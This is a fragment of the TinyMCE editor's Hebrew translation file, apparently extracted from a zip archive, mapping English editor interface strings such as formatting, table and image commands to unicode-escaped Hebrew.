"Format": "\u0424\u043e\u0440\u043c\u0430\u0442\u043b\u0430\u0443"
});PK
h�\5�䨾|�|!program/js/tinymce/langs/he_IL.jsnu�[���tinymce.addI18n('he_IL',{
"Redo": "\u05d1\u05e6\u05e2 \u05e9\u05d5\u05d1",
"Undo": "\u05d1\u05d8\u05dc",
"Cut": "\u05d2\u05d6\u05d5\u05e8",
"Copy": "\u05d4\u05e2\u05ea\u05e7",
"Paste": "\u05d4\u05d3\u05d1\u05e7",
"Select all": "\u05d1\u05d7\u05e8 \u05d4\u05db\u05dc",
"New document": "\u05de\u05e1\u05de\u05da \u05d7\u05d3\u05e9",
"Ok": "\u05d0\u05d9\u05e9\u05d5\u05e8",
"Cancel": "\u05d1\u05d9\u05d8\u05d5\u05dc",
"Visual aids": "\u05e2\u05d6\u05e8\u05d9\u05dd \u05d7\u05d6\u05d5\u05ea\u05d9\u05d9\u05dd",
"Bold": "\u05de\u05d5\u05d3\u05d2\u05e9",
"Italic": "\u05e0\u05d8\u05d5\u05d9",
"Underline": "\u05e7\u05d5 \u05ea\u05d7\u05ea\u05d5\u05df",
"Strikethrough": "\u05e7\u05d5 \u05d7\u05d5\u05e6\u05d4",
"Superscript": "\u05db\u05ea\u05d1 \u05e2\u05d9\u05dc\u05d9",
"Subscript": "\u05db\u05ea\u05d1 \u05ea\u05d7\u05ea\u05d9",
"Clear formatting": "\u05e0\u05e7\u05d4 \u05e2\u05d9\u05e6\u05d5\u05d1",
"Align left": "\u05d9\u05e9\u05e8 \u05dc\u05e9\u05de\u05d0\u05dc",
"Align center": "\u05de\u05e8\u05db\u05d6",
"Align right": "\u05d9\u05e9\u05e8 \u05dc\u05d9\u05de\u05d9\u05df",
"Justify": "\u05d9\u05d9\u05e9\u05e8",
"Bullet list": "\u05e8\u05e9\u05d9\u05de\u05ea \u05ea\u05d1\u05dc\u05d9\u05d8\u05d9\u05dd",
"Numbered list": "\u05e8\u05e9\u05d9\u05de\u05d4 \u05de\u05de\u05d5\u05e1\u05e4\u05e8\u05ea",
"Decrease indent": "\u05d4\u05e7\u05d8\u05df \u05d4\u05d6\u05d7\u05d4",
"Increase indent": "\u05d4\u05d2\u05d3\u05dc \u05d4\u05d6\u05d7\u05d4",
"Close": "\u05e1\u05d2\u05d5\u05e8",
"Formats": "\u05e2\u05d9\u05e6\u05d5\u05d1\u05d9\u05dd",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u05d4\u05d3\u05e4\u05d3\u05e4\u05df \u05e9\u05dc\u05da \u05d0\u05d9\u05e0\u05d5 \u05de\u05d0\u05e4\u05e9\u05e8 \u05d2\u05d9\u05e9\u05d4 \u05d9\u05e9\u05d9\u05e8\u05d4 \u05dc\u05dc\u05d5\u05d7. \u05d0\u05e0\u05d0 \u05d4\u05e9\u05ea\u05de\u05e9 \u05d1\u05e7\u05d9\u05e6\u05d5\u05e8\u05d9 \u05d4\u05de\u05e7\u05dc\u05d3\u05ea Ctrl+X\/C\/V \u05d1\u05de\u05e7\u05d5\u05dd.",
"Headers": "\u05db\u05d5\u05ea\u05e8\u05d5\u05ea",
"Header 1": "\u05db\u05d5\u05ea\u05e8\u05ea 1",
"Header 2": "\u05db\u05d5\u05ea\u05e8\u05ea 2",
"Header 3": "\u05db\u05d5\u05ea\u05e8\u05ea 3",
"Header 4": "\u05db\u05d5\u05ea\u05e8\u05ea 4",
"Header 5": "\u05db\u05d5\u05ea\u05e8\u05ea 5",
"Header 6": "\u05db\u05d5\u05ea\u05e8\u05ea 6",
"Headings": "\u05db\u05d5\u05ea\u05e8\u05d5\u05ea",
"Heading 1": "\u05db\u05d5\u05ea\u05e8\u05ea 1",
"Heading 2": "\u05db\u05d5\u05ea\u05e8\u05ea 2",
"Heading 3": "\u05db\u05d5\u05ea\u05e8\u05ea 3",
"Heading 4": "\u05db\u05d5\u05ea\u05e8\u05ea 4",
"Heading 5": "\u05db\u05d5\u05ea\u05e8\u05ea 5",
"Heading 6": "\u05db\u05d5\u05ea\u05e8\u05ea 6",
"Preformatted": "\u05de\u05e2\u05d5\u05e6\u05d1 \u05de\u05e8\u05d0\u05e9",
"Div": "Div",
"Pre": "Pre",
"Code": "\u05e7\u05d5\u05d3",
"Paragraph": "\u05e4\u05e1\u05e7\u05d4",
"Blockquote": "Blockquote",
"Inline": "\u05d1\u05ea\u05d5\u05da \u05e9\u05d5\u05e8\u05d4",
"Blocks": "\u05d1\u05dc\u05d5\u05e7\u05d9\u05dd",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u05d4\u05d3\u05d1\u05e7\u05d4 \u05d1\u05de\u05e6\u05d1 \u05d8\u05e7\u05e1\u05d8 \u05e8\u05d2\u05d9\u05dc. \u05ea\u05db\u05e0\u05d9\u05dd \u05d9\u05d5\u05d3\u05d1\u05e7\u05d5 \u05de\u05e2\u05ea\u05d4 \u05db\u05d8\u05e7\u05e1\u05d8 \u05e8\u05d2\u05d9\u05dc \u05e2\u05d3 \u05e9\u05ea\u05db\u05d1\u05d4 \u05d0\u05e4\u05e9\u05e8\u05d5\u05ea \u05d6\u05d5.",
"Fonts": "\u05d2\u05d5\u05e4\u05e0\u05d9\u05dd",
"Font Sizes": "\u05d2\u05d5\u05d3\u05dc \u05d2\u05d5\u05e4\u05e0\u05d9\u05dd",
"Class": "\u05de\u05d7\u05dc\u05e7\u05d4",
"Browse for an image": "\u05d7\u05e4\u05e9 \u05ea\u05de\u05d5\u05e0\u05d4",
"OR": "OR",
"Drop an image here": "\u05e9\u05d7\u05e8\u05e8 \u05ea\u05de\u05d5\u05e0\u05d4 \u05db\u05d0\u05df",
"Upload": "\u05d4\u05e2\u05dc\u05d4",
"Block": "\u05d1\u05dc\u05d5\u05e7",
"Align": "\u05d9\u05e9\u05e8",
"Default": "\u05d1\u05e8\u05d9\u05e8\u05ea \u05de\u05d7\u05d3\u05dc",
"Circle": "\u05e2\u05d9\u05d2\u05d5\u05dc",
"Disc": "\u05d7\u05d9\u05e9\u05d5\u05e7",
"Square": "\u05e8\u05d9\u05d1\u05d5\u05e2",
"Lower Alpha": "\u05d0\u05d5\u05ea\u05d9\u05d5\u05ea \u05d0\u05e0\u05d2\u05dc\u05d9\u05d5\u05ea \u05e7\u05d8\u05e0\u05d5\u05ea",
"Lower Greek": "\u05d0\u05d5\u05ea\u05d9\u05d5\u05ea \u05d9\u05d5\u05d5\u05e0\u05d9\u05d5\u05ea \u05e7\u05d8\u05e0\u05d5\u05ea",
"Lower Roman": "\u05e1\u05e4\u05e8\u05d5\u05ea \u05e8\u05d5\u05de\u05d9\u05d5\u05ea \u05e7\u05d8\u05e0\u05d5\u05ea",
"Upper Alpha": "\u05d0\u05d5\u05ea\u05d9\u05d5\u05ea \u05d0\u05e0\u05d2\u05dc\u05d9\u05d5\u05ea \u05d2\u05d3\u05d5\u05dc\u05d5\u05ea",
"Upper Roman": "\u05e1\u05e4\u05e8\u05d5\u05ea \u05e8\u05d5\u05de\u05d9\u05d5\u05ea \u05d2\u05d3\u05d5\u05dc\u05d5\u05ea",
"Anchor...": "\u05e2\u05d5\u05d2\u05df...",
"Name": "\u05e9\u05dd",
"Id": "\u05de\u05d6\u05d4\u05d4",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "\u05d4\u05de\u05d6\u05d4\u05d4 \u05d7\u05d9\u05d9\u05d1 \u05dc\u05d4\u05ea\u05d7\u05d9\u05dc \u05d1\u05d0\u05d5\u05ea \u05d5\u05dc\u05d0\u05d7\u05e8\u05d9\u05d4 \u05e8\u05e7 \u05d0\u05d5\u05ea\u05d9\u05d5\u05ea, \u05de\u05e1\u05e4\u05e8\u05d9\u05dd, \u05de\u05e7\u05e4\u05d9\u05dd, \u05e0\u05e7\u05d5\u05d3\u05d5\u05ea, \u05e0\u05e7\u05d5\u05d3\u05ea\u05d9\u05d9\u05dd \u05d0\u05d5 \u05e7\u05d5\u05d5\u05d9\u05dd \u05ea\u05d7\u05ea\u05d9\u05d9\u05dd.",
"You have unsaved changes are you sure you want to navigate away?": "\u05d4\u05e9\u05d9\u05e0\u05d5\u05d9\u05d9\u05dd \u05dc\u05d0 \u05e0\u05e9\u05de\u05e8\u05d5. \u05d1\u05d8\u05d5\u05d7 \u05e9\u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05e6\u05d0\u05ea \u05de\u05d4\u05d3\u05e3?",
"Restore last draft": "\u05e9\u05d7\u05d6\u05e8 \u05d8\u05d9\u05d5\u05d8\u05d4 \u05d0\u05d7\u05e8\u05d5\u05e0\u05d4",
"Special character...": "\u05ea\u05d5\u05d5\u05d9\u05dd \u05de\u05d9\u05d5\u05d7\u05d3\u05d9\u05dd...",
"Source code": "\u05e7\u05d5\u05d3 \u05de\u05e7\u05d5\u05e8",
"Insert\/Edit code sample": "\u05d4\u05db\u05e0\u05e1\/\u05e2\u05e8\u05d5\u05da \u05d3\u05d5\u05d2\u05de\u05ea \u05e7\u05d5\u05d3",
"Language": "\u05e9\u05e4\u05d4",
"Code sample...": "\u05d3\u05d5\u05d2\u05de\u05ea \u05e7\u05d5\u05d3...",
"Color Picker": "\u05d1\u05d5\u05e8\u05e8 \u05e6\u05d1\u05e2\u05d9\u05dd",
"R": "\u05d0'",
"G": "\u05d9'",
"B": "\u05db'",
"Left to right": "\u05de\u05e9\u05de\u05d0\u05dc \u05dc\u05d9\u05de\u05d9\u05df",
"Right to left": "\u05de\u05d9\u05de\u05d9\u05df \u05dc\u05e9\u05de\u05d0\u05dc",
"Emoticons...": "\u05e1\u05de\u05dc\u05d9 \u05d4\u05d1\u05e2\u05d4...",
"Metadata and Document Properties": "\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05de\u05d8\u05d4-\u05e0\u05ea\u05d5\u05e0\u05d9\u05dd \u05d5\u05de\u05e1\u05de\u05da",
"Title": "\u05db\u05d5\u05ea\u05e8\u05ea",
"Keywords": "\u05de\u05d9\u05dc\u05d5\u05ea \u05de\u05e4\u05ea\u05d7",
"Description": "\u05ea\u05d9\u05d0\u05d5\u05e8",
"Robots": "\u05e8\u05d5\u05d1\u05d5\u05d8\u05d9\u05dd",
"Author": "\u05de\u05d7\u05d1\u05e8",
"Encoding": "\u05e7\u05d9\u05d3\u05d5\u05d3",
"Fullscreen": "\u05de\u05e1\u05da \u05de\u05dc\u05d0",
"Action": "\u05e4\u05e2\u05d5\u05dc\u05d4",
"Shortcut": "\u05e7\u05d9\u05e6\u05d5\u05e8",
"Help": "\u05e2\u05d6\u05e8\u05d4",
"Address": "\u05db\u05ea\u05d5\u05d1\u05ea",
"Focus to menubar": "\u05d4\u05e2\u05d1\u05e8 \u05de\u05d9\u05e7\u05d5\u05d3 \u05dc\u05e1\u05e8\u05d2\u05dc \u05d4\u05ea\u05e4\u05e8\u05d8\u05d9\u05dd",
"Focus to toolbar": "\u05d4\u05e2\u05d1\u05e8 \u05de\u05d9\u05e7\u05d5\u05d3 \u05dc\u05e1\u05e8\u05d2\u05dc \u05d4\u05db\u05dc\u05d9\u05dd",
"Focus to element path": "\u05e2\u05d1\u05e8 \u05de\u05d9\u05e7\u05d5\u05d3 \u05dc\u05db\u05ea\u05d5\u05d1\u05ea \u05d4\u05e4\u05e8\u05d9\u05d8",
"Focus to contextual toolbar": "\u05d4\u05e2\u05d1\u05e8 \u05de\u05d9\u05e7\u05d5\u05d3 \u05dc\u05e1\u05e8\u05d2\u05dc \u05ea\u05d5\u05db\u05df",
"Insert link (if link plugin activated)": "\u05d4\u05db\u05e0\u05e1 \u05e7\u05d9\u05e9\u05d5\u05e8 (\u05d0\u05dd \u05ea\u05d5\u05e1\u05e3 \"\u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd\" \u05e4\u05e2\u05d9\u05dc)",
"Save (if save plugin activated)": "\u05e9\u05de\u05d5\u05e8 (\u05d0\u05dd \u05ea\u05d5\u05e1\u05e3 \"\u05e9\u05de\u05d9\u05e8\u05d4\" \u05e4\u05e2\u05d9\u05dc)",
"Find (if searchreplace plugin activated)": "\u05d7\u05e4\u05e9 (\u05d0\u05dd \u05ea\u05d5\u05e1\u05e3 \"\u05d7\u05e4\u05e9 \u05d5\u05d4\u05d7\u05dc\u05e3\" \u05e4\u05e2\u05d9\u05dc)",
"Plugins installed ({0}):": "\u05ea\u05d5\u05e1\u05e4\u05d9\u05dd \u05de\u05d5\u05ea\u05e7\u05e0\u05d9\u05dd ({0}):",
"Premium plugins:": "\u05ea\u05d5\u05e1\u05e4\u05d9\u05dd \u05d1\u05ea\u05e9\u05dc\u05d5\u05dd:",
"Learn more...": "\u05dc\u05de\u05d3 \u05e2\u05d5\u05d3...",
"You are using {0}": "\u05d0\u05ea\\\u05d4 \u05de\u05e9\u05ea\u05de\u05e9\\\u05ea {0}",
"Plugins": "\u05ea\u05d5\u05e1\u05e4\u05d9\u05dd",
"Handy Shortcuts": "\u05e7\u05d9\u05e6\u05d5\u05e8\u05d9\u05dd \u05e9\u05d9\u05de\u05d5\u05e9\u05d9\u05d9\u05dd",
"Horizontal line": "\u05e7\u05d5 \u05d0\u05d5\u05e4\u05e7\u05d9",
"Insert\/edit image": "\u05d4\u05db\u05e0\u05e1\/\u05e2\u05e8\u05d5\u05da \u05ea\u05de\u05d5\u05e0\u05d4",
"Image description": "\u05ea\u05d9\u05d0\u05d5\u05e8 \u05d4\u05ea\u05de\u05d5\u05e0\u05d4",
"Source": "\u05de\u05e7\u05d5\u05e8",
"Dimensions": "\u05de\u05d9\u05de\u05d3\u05d9\u05dd",
"Constrain proportions": "\u05d4\u05d2\u05d1\u05dc\u05ea \u05e4\u05e8\u05d5\u05e4\u05d5\u05e8\u05e6\u05d9\u05d5\u05ea",
"General": "\u05db\u05dc\u05dc\u05d9",
"Advanced": "\u05de\u05ea\u05e7\u05d3\u05dd",
"Style": "\u05e1\u05d2\u05e0\u05d5\u05df",
"Vertical space": "\u05de\u05e8\u05d5\u05d5\u05d7 \u05d0\u05e0\u05db\u05d9",
"Horizontal space": "\u05de\u05e8\u05d5\u05d5\u05d7 \u05d0\u05d5\u05e4\u05e7\u05d9",
"Border": "\u05de\u05e1\u05d2\u05e8\u05ea",
"Insert image": "\u05d4\u05db\u05e0\u05e1 \u05ea\u05de\u05d5\u05e0\u05d4",
"Image...": "\u05ea\u05de\u05d5\u05e0\u05d4...",
"Image list": "\u05e8\u05e9\u05d9\u05de\u05ea \u05ea\u05de\u05d5\u05e0\u05d5\u05ea",
"Rotate counterclockwise": "\u05e1\u05d5\u05d1\u05d1 \u05d1\u05db\u05d9\u05d5\u05d5\u05df \u05d4\u05e4\u05d5\u05da \u05dc\u05e9\u05e2\u05d5\u05df",
"Rotate clockwise": "\u05e1\u05d5\u05d1\u05d1 \u05d1\u05db\u05d9\u05d5\u05d5\u05df \u05d4\u05e9\u05e2\u05d5\u05df",
"Flip vertically": "\u05d4\u05e4\u05d5\u05da \u05d0\u05e0\u05db\u05d9\u05ea",
"Flip horizontally": "\u05d4\u05e4\u05d5\u05da \u05d0\u05d5\u05e4\u05e7\u05d9\u05ea",
"Edit image": "\u05e2\u05e8\u05d5\u05da \u05ea\u05de\u05d5\u05e0\u05d4",
"Image options": "\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea \u05ea\u05de\u05d5\u05e0\u05d4",
"Zoom in": "\u05d4\u05d2\u05d3\u05dc \u05ea\u05e6\u05d5\u05d2\u05d4",
"Zoom out": "\u05d4\u05e7\u05d8\u05df \u05ea\u05e6\u05d5\u05d2\u05d4",
"Crop": "\u05e7\u05e6\u05e5",
"Resize": "\u05e9\u05e0\u05d4 \u05d2\u05d5\u05d3\u05dc",
"Orientation": "\u05db\u05d9\u05d5\u05d5\u05df \u05dc\u05d0\u05d5\u05e8\u05da \/ \u05dc\u05e8\u05d5\u05d7\u05d1",
"Brightness": "\u05d1\u05d4\u05d9\u05e8\u05d5\u05ea",
"Sharpen": "\u05d7\u05d3\u05d3",
"Contrast": "\u05e0\u05d9\u05d2\u05d5\u05d3\u05d9\u05d5\u05ea",
"Color levels": "\u05e8\u05de\u05d5\u05ea \u05e6\u05d1\u05e2\u05d9\u05dd",
"Gamma": "\u05d2\u05d0\u05de\u05d4",
"Invert": "\u05d4\u05d9\u05e4\u05d5\u05da \u05e6\u05d1\u05e2\u05d9\u05dd",
"Apply": "\u05d9\u05d9\u05e9\u05dd",
"Back": "\u05d7\u05d6\u05d5\u05e8",
"Insert date\/time": "\u05d4\u05db\u05e0\u05e1 \u05ea\u05d0\u05e8\u05d9\u05da\/\u05e9\u05e2\u05d4",
"Date\/time": "\u05ea\u05d0\u05e8\u05d9\u05da\/\u05e9\u05e2\u05d4",
"Insert\/Edit Link": "\u05d4\u05db\u05e0\u05e1\/\u05e2\u05e8\u05d5\u05da \u05e7\u05d9\u05e9\u05d5\u05e8",
"Insert\/edit link": "\u05d4\u05db\u05e0\u05e1\/\u05e2\u05e8\u05d5\u05da \u05e7\u05d9\u05e9\u05d5\u05e8",
"Text to display": "\u05d8\u05e7\u05e1\u05d8 \u05dc\u05d4\u05e6\u05d2\u05d4",
"Url": "\u05db\u05ea\u05d5\u05d1\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8",
"Open link in...": "\u05e4\u05ea\u05d7 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d1...",
"Current window": "\u05d7\u05dc\u05d5\u05df \u05e0\u05d5\u05db\u05d7\u05d9",
"None": "\u05dc\u05dc\u05d0",
"New window": "\u05d7\u05dc\u05d5\u05df \u05d7\u05d3\u05e9",
"Remove link": "\u05de\u05d7\u05e7 \u05e7\u05d9\u05e9\u05d5\u05e8",
"Anchors": "\u05e2\u05d5\u05d2\u05e0\u05d9\u05dd",
"Link...": "\u05e7\u05d9\u05e9\u05d5\u05e8...",
"Paste or type a link": "\u05d4\u05d3\u05d1\u05e7 \u05d0\u05d5 \u05d4\u05e7\u05dc\u05d3 \u05e7\u05d9\u05e9\u05d5\u05e8",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u05e0\u05e8\u05d0\u05d4 \u05e9\u05d4\u05db\u05ea\u05d5\u05d1\u05ea \u05e9\u05d4\u05db\u05e0\u05e1\u05ea \u05d4\u05d9\u05d0 \u05db\u05ea\u05d5\u05d1\u05ea \u05d0\u05d9\u05de\u05d9\u05d9\u05dc. \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05d0\u05ea \u05d4\u05e7\u05d9\u05d3\u05d5\u05de\u05ea :mailto?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u05e0\u05e8\u05d0\u05d4 \u05e9\u05d4\u05db\u05ea\u05d5\u05d1\u05ea \u05e9\u05d4\u05db\u05e0\u05e1\u05ea \u05d4\u05d9\u05d0 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d7\u05d9\u05e6\u05d5\u05e0\u05d9 \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05e7\u05d9\u05d3\u05d5\u05de\u05ea http:\/\/?",
"Link list": "\u05e8\u05e9\u05d9\u05de\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd",
"Insert video": "\u05d4\u05db\u05e0\u05e1 \u05e1\u05e8\u05d8\u05d5\u05df",
"Insert\/edit video": "\u05d4\u05db\u05e0\u05e1\/\u05e2\u05e8\u05d5\u05da \u05e1\u05e8\u05d8\u05d5\u05df",
"Insert\/edit media": "\u05d4\u05db\u05e0\u05e1\/\u05e2\u05e8\u05d5\u05da \u05de\u05d3\u05d9\u05d4",
"Alternative source": "\u05de\u05e7\u05d5\u05e8 \u05de\u05e9\u05e0\u05d9",
"Alternative source URL": "\u05db\u05ea\u05d5\u05d1\u05ea URL \u05dc\u05de\u05e7\u05d5\u05e8 \u05d7\u05dc\u05d5\u05e4\u05d9",
"Media poster (Image URL)": "\u05e4\u05d5\u05e1\u05d8\u05e8 \u05de\u05d3\u05d9\u05d4 (\u05db\u05ea\u05d5\u05d1\u05ea URL \u05dc\u05ea\u05de\u05d5\u05e0\u05d4)",
"Paste your embed code below:": "\u05d4\u05d3\u05d1\u05e7 \u05e7\u05d5\u05d3 \u05d4\u05d8\u05de\u05e2\u05d4 \u05de\u05ea\u05d7\u05ea:",
"Embed": "\u05d4\u05d8\u05de\u05e2",
"Media...": "\u05de\u05d3\u05d9\u05d4...",
"Nonbreaking space": "\u05e8\u05d5\u05d5\u05d7 (\u05dc\u05dc\u05d0 \u05e9\u05d1\u05d9\u05e8\u05ea \u05e9\u05d5\u05e8\u05d4)",
"Page break": "\u05d3\u05e3 \u05d7\u05d3\u05e9",
"Paste as text": "\u05d4\u05d3\u05d1\u05e7 \u05db\u05d8\u05e7\u05e1\u05d8",
"Preview": "\u05ea\u05e6\u05d5\u05d2\u05d4 \u05de\u05e7\u05d3\u05d9\u05de\u05d4",
"Print...": "\u05d4\u05d3\u05e4\u05e1...",
"Save": "\u05e9\u05de\u05d9\u05e8\u05d4",
"Find": "\u05d7\u05e4\u05e9",
"Replace with": "\u05d4\u05d7\u05dc\u05e3 \u05d1",
"Replace": "\u05d4\u05d7\u05dc\u05e3",
"Replace all": "\u05d4\u05d7\u05dc\u05e3 \u05d4\u05db\u05dc",
"Previous": "\u05d4\u05e7\u05d5\u05d3\u05dd",
"Next": "\u05d4\u05d1\u05d0",
"Find and replace...": "\u05d7\u05d9\u05e4\u05d5\u05e9 \u05d5\u05d4\u05d7\u05dc\u05e4\u05d4...",
"Could not find the specified string.": "\u05de\u05d7\u05e8\u05d5\u05d6\u05ea \u05dc\u05d0 \u05e0\u05de\u05e6\u05d0\u05d4",
"Match case": "\u05d4\u05d1\u05d7\u05df \u05d1\u05d9\u05df \u05d0\u05d5\u05ea\u05d9\u05d5\u05ea \u05e7\u05d8\u05e0\u05d5\u05ea \u05dc\u05d2\u05d3\u05d5\u05dc\u05d5\u05ea",
"Find whole words only": "\u05d7\u05e4\u05e9 \u05de\u05d9\u05dc\u05d9\u05dd \u05e9\u05dc\u05de\u05d5\u05ea \u05d1\u05dc\u05d1\u05d3",
"Spell check": "\u05d1\u05d3\u05d9\u05e7\u05ea \u05d0\u05d9\u05d5\u05ea",
"Ignore": "\u05d4\u05ea\u05e2\u05dc\u05dd",
"Ignore all": "\u05d4\u05ea\u05e2\u05dc\u05dd \u05de\u05d4\u05db\u05dc",
"Finish": "\u05e1\u05d9\u05d9\u05dd",
"Add to Dictionary": "\u05d4\u05d5\u05e1\u05e3 \u05dc\u05de\u05d9\u05dc\u05d5\u05df",
"Insert table": "\u05d4\u05db\u05e0\u05e1 \u05d8\u05d1\u05dc\u05d4",
"Table properties": "\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05d8\u05d1\u05dc\u05d4",
"Delete table": "\u05de\u05d7\u05e7 \u05d8\u05d1\u05dc\u05d4",
"Cell": "\u05ea\u05d0",
"Row": "\u05e9\u05d5\u05e8\u05d4",
"Column": "\u05e2\u05de\u05d5\u05d3\u05d4",
"Cell properties": "\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05ea\u05d0",
"Merge cells": "\u05de\u05d6\u05d2 \u05ea\u05d0\u05d9\u05dd",
"Split cell": "\u05e4\u05e6\u05dc \u05ea\u05d0",
"Insert row before": "\u05d4\u05d5\u05e1\u05e3 \u05e9\u05d5\u05e8\u05d4 \u05dc\u05e4\u05e0\u05d9",
"Insert row after": "\u05d4\u05d5\u05e1\u05e3 \u05e9\u05d5\u05e8\u05d4 \u05d0\u05d7\u05e8\u05d9",
"Delete row": "\u05de\u05d7\u05e7 \u05e9\u05d5\u05e8\u05d4",
"Row properties": "\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05e9\u05d5\u05e8\u05d4",
"Cut row": "\u05d2\u05d6\u05d5\u05e8 \u05e9\u05d5\u05e8\u05d4",
"Copy row": "\u05d4\u05e2\u05ea\u05e7 \u05e9\u05d5\u05e8\u05d4",
"Paste row before": "\u05d4\u05d3\u05d1\u05e7 \u05e9\u05d5\u05e8\u05d4 \u05dc\u05e4\u05e0\u05d9",
"Paste row after": "\u05d4\u05e2\u05ea\u05e7 \u05e9\u05d5\u05e8\u05d4 \u05d0\u05d7\u05e8\u05d9",
"Insert column before": "\u05d4\u05e2\u05ea\u05e7 \u05e2\u05de\u05d5\u05d3\u05d4 \u05dc\u05e4\u05e0\u05d9",
"Insert column after": "\u05d4\u05e2\u05ea\u05e7 \u05e2\u05de\u05d5\u05d3\u05d4 \u05d0\u05d7\u05e8\u05d9",
"Delete column": "\u05de\u05d7\u05e7 \u05e2\u05de\u05d5\u05d3\u05d4",
"Cols": "\u05e2\u05de\u05d5\u05d3\u05d5\u05ea",
"Rows": "\u05e9\u05d5\u05e8\u05d5\u05ea",
"Width": "\u05e8\u05d5\u05d7\u05d1",
"Height": "\u05d2\u05d5\u05d1\u05d4",
"Cell spacing": "\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd \u05d7\u05d9\u05e6\u05d5\u05e0\u05d9\u05dd \u05dc\u05ea\u05d0",
"Cell padding": "\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd \u05e4\u05e0\u05d9\u05de\u05d9\u05d9\u05dd \u05dc\u05ea\u05d0",
"Show caption": "\u05d4\u05e6\u05d2 \u05db\u05ea\u05d5\u05d1\u05d9\u05ea",
"Left": "\u05e9\u05de\u05d0\u05dc",
"Center": "\u05de\u05e8\u05db\u05d6",
"Right": "\u05d9\u05de\u05d9\u05df",
"Cell type": "\u05e1\u05d5\u05d2 \u05ea\u05d0",
"Scope": "\u05d4\u05d9\u05e7\u05e3",
"Alignment": "\u05d9\u05d9\u05e9\u05d5\u05e8",
"H Align": "\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d0\u05d5\u05e4\u05e7\u05d9",
"V Align": "\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d0\u05e0\u05db\u05d9",
"Top": "\u05e2\u05dc\u05d9\u05d5\u05df",
"Middle": "\u05d0\u05de\u05e6\u05e2",
"Bottom": "\u05ea\u05d7\u05ea\u05d9\u05ea",
"Header cell": "\u05db\u05d5\u05ea\u05e8\u05ea \u05dc\u05ea\u05d0",
"Row group": "\u05e7\u05d9\u05d1\u05d5\u05e5 \u05e9\u05d5\u05e8\u05d5\u05ea",
"Column group": "\u05e7\u05d9\u05d1\u05d5\u05e5 \u05e2\u05de\u05d5\u05d3\u05d5\u05ea",
"Row type": "\u05e1\u05d5\u05d2 \u05e9\u05d5\u05e8\u05d4",
"Header": "\u05db\u05d5\u05ea\u05e8\u05ea",
"Body": "\u05d2\u05d5\u05e3 \u05d4\u05d8\u05d1\u05dc\u05d0",
"Footer": "\u05db\u05d5\u05ea\u05e8\u05ea \u05ea\u05d7\u05ea\u05d5\u05e0\u05d4",
"Border color": "\u05e6\u05d1\u05e2 \u05d2\u05d1\u05d5\u05dc",
"Insert template...": "\u05d4\u05db\u05e0\u05e1 \u05ea\u05d1\u05e0\u05d9\u05ea...",
"Templates": "\u05ea\u05d1\u05e0\u05d9\u05d5\u05ea",
"Template": "\u05ea\u05d1\u05e0\u05d9\u05ea",
"Text color": "\u05e6\u05d1\u05e2 \u05d4\u05db\u05ea\u05d1",
"Background color": "\u05e6\u05d1\u05e2 \u05e8\u05e7\u05e2",
"Custom...": "\u05de\u05d5\u05ea\u05d0\u05dd \u05d0\u05d9\u05e9\u05d9\u05ea...",
"Custom color": "\u05e6\u05d1\u05e2 \u05de\u05d5\u05ea\u05d0\u05dd \u05d0\u05d9\u05e9\u05d9\u05ea",
"No color": "\u05dc\u05dc\u05d0 \u05e6\u05d1\u05e2",
"Remove color": "\u05d4\u05e1\u05e8 \u05e6\u05d1\u05e2",
"Table of Contents": "\u05ea\u05d5\u05db\u05df \u05e2\u05e0\u05d9\u05d9\u05e0\u05d9\u05dd",
"Show blocks": "\u05d4\u05e6\u05d2 \u05ea\u05d9\u05d1\u05d5\u05ea",
"Show invisible characters": "\u05d4\u05e6\u05d2 \u05ea\u05d5\u05d5\u05d9\u05dd \u05dc\u05d0 \u05e0\u05e8\u05d0\u05d9\u05dd",
"Word count": "\u05e1\u05e4\u05d9\u05e8\u05ea \u05de\u05d9\u05dc\u05d9\u05dd",
"Count": "\u05e1\u05e4\u05d9\u05e8\u05d4",
"Document": "\u05de\u05e1\u05de\u05da",
"Selection": "\u05d1\u05d7\u05d9\u05e8\u05d4",
"Words": "\u05de\u05d9\u05dc\u05d9\u05dd",
"Words: {0}": "\u05de\u05d9\u05dc\u05d9\u05dd: {0}",
"{0} words": "{0} \u05de\u05d9\u05dc\u05d9\u05dd",
"File": "\u05e7\u05d5\u05d1\u05e5",
"Edit": "\u05e2\u05e8\u05d9\u05db\u05d4",
"Insert": "\u05d4\u05d5\u05e1\u05e4\u05d4",
"View": "\u05ea\u05e6\u05d5\u05d2\u05d4",
"Format": "\u05e4\u05d5\u05e8\u05de\u05d8",
"Table": "\u05d8\u05d1\u05dc\u05d4",
"Tools": "\u05db\u05dc\u05d9\u05dd",
"Powered by {0}": "\u05de\u05d5\u05e4\u05e2\u05dc \u05e2\"\u05d9 {0}",
